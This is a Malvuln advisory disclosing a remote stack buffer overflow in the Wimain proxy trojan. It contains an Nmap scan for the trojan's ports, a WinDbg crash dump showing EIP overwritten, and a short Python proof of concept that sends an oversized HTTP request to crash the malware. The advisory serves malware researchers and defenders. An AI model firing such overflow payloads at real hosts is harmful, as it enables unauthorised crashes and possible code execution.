Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/8936c97e99799809812fa740076a2d7f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Proxy.Win32.Wimain Vulnerability: Remote Stack Buffer Overflow Description: Win32.Wimain trojan listens on two random TCP ports only one of the two ports seems vuln. Sending a specially crafted HTTP request will trigger classic stack buffer overflow overwriting ECX, EBP and EIP registers. The challenge is the malware changes it port on each restart. However, after repeated sampling of the ports opened there seems to be a specific range the ports fall within. Also, another giveaway is there should be two of them listening in that range. This can help us to somewhat fingerprint the backdoor presence, we can then scan that port range to try an locate. Wimains port range seem to typically fall within 1000 - 4999 range. If we know our network and or have a good baseline, we can leverage Nmap to probe for the suspect ports. Afterwards, we can then issue specially crafted payload to crash or exploit the buffer overflow vulnerability. C\>nmap -n -Pn -sS -p999-4999 -T4 192.168.1.10 -open Starting Nmap 7.80 ( https//nmap.org ) at 2021-03-14 1546 Pacific Daylight Time Nmap scan report for 192.168.1.10 Host is up (0.00s latency). Not shown 3999 closed ports PORT STATE SERVICE 1258/tcp open opennl 3179/tcp open h2gf-w-2m Sampling of some TCP ports used by the Wimain malware: 1433 3700 4192 1257 4363 4850 3178 2668 2571 3910 2028 2113 4897 1923 1986 1761 4423 2125 2074 2332 4216 2125 2074 2300 3495 2001 3221 4453 2990 1312 1876 1312 2278 1839 1878 4423 1750 2770 2809 2888 2848 1129 3013 4897 3083 3524 2714 3645 4999 2300 4184 1718 3724 3656 4570 4729 3448 4768 3034 1150 1703 3380 1143 4349 2258 1260 3935 4696 2397 1574 1613 3159 4184 1718 3724 3656 4570 4729 3448 4768 3034 1150 1703 3380 1143 4349 2258 1260 3935 4696 2397 1574 1613 3159 1029 2126 1767 1378 1456 4488 1068 2165 1447 4886 1727 2243 2207 4091 3884 1793 2479 Type: PE32 MD5: 8936c97e99799809812fa740076a2d7f Vuln ID: MVID-2021-0131 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 03/14/2021 Memory Dump: (b08.1118): Stack buffer overflow - code c0000409 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=00000001 esi=00000000 edi=00000002 eip=7710ed3c esp=0019f400 ebp=0019f440 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 ntdll!ZwWaitForMultipleObjects+0xc: 7710ed3c c21400 ret 14h 0:000> .ecxr eax=00000001 ebx=00000000 ecx=41414141 edx=00000001 esi=00a3044c edi=03144c15 eip=41414141 esp=0019fab4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe *** ERROR: Module load completed but symbols could not be loaded for Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe FAULTING_IP: +24 41414141 ?? ??? EXCEPTION_RECORD: 0019f604 -- (.exr 0x19f604) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000008 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_PARAMETER1: 00000015 MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAILED_INSTRUCTION_ADDRESS: +24 41414141 ?? ??? CONTEXT: 0019f654 -- (.cxr 0x19f654) eax=00000001 ebx=00000000 ecx=41414141 edx=00000001 esi=00a3044c edi=03144c15 eip=41414141 esp=0019fab4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? Resetting default scope READ_ADDRESS: 41414141 FOLLOWUP_IP: +24 41414141 ?? ??? IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 41414141 to 41414141 ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141 STACK_TEXT: 00000000 00000000 unknown!printable+0x0 SYMBOL_NAME: unknown!printable FOLLOWUP_NAME: MachineOwner MODULE_NAME: unknown IMAGE_NAME: unknown DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: ** Pseudo Context ** ; kb FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_unknown!Unloaded BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_BAD_IP_unknown!printable Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" #Use Nmap to locate port, there should be two TCP ports opened within the 1000-4999 range. PORT= [RANGE-1000-4999] def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="GET /" + "A"*1432 + "HTTP/1.1\r\nHost: "+ "A"*1562 s.send(PAYLOAD) s.close() print("Trojan-Proxy.Win32.Wimain / Remote Stack Buffer Overflow") print("MD5: 8936c97e99799809812fa740076a2d7f") print("BY Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).